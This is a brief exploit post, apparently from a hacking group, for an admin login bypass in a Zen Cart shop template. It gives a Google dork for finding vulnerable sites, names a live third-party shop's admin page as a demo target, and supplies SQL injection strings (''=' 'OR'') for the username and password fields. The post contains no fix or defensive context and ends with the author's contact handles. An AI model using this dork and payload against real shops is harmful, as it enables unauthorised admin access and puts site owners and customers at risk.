########################## # Exploit Title: Powered by Zen Cart. ZenCart Template Admin Panel Bypass Vulnerability # Google Dork : intext:"Powered by Zen Cart. ZenCart Template" # https://www.youtube.com/Thecenahmet # Discovered By: #Thecenahmet # Vendor Homepage : N/A ########################## # {DEMO} http://shoppurplehaze.com/giftloyalty/admin/adminlogin.php [Login] Username : '=' 'OR' Passwd : '=' 'OR' [Admin Page] http://localhost/admin/adminlogin.php [OR] http://localhost//giftloyalty/admin/adminlogin.php ################################### # Cyber Hack Team # Discovered By: #THECENAHMET # Twitter : @Thecenahmet # skype: the.cenahmet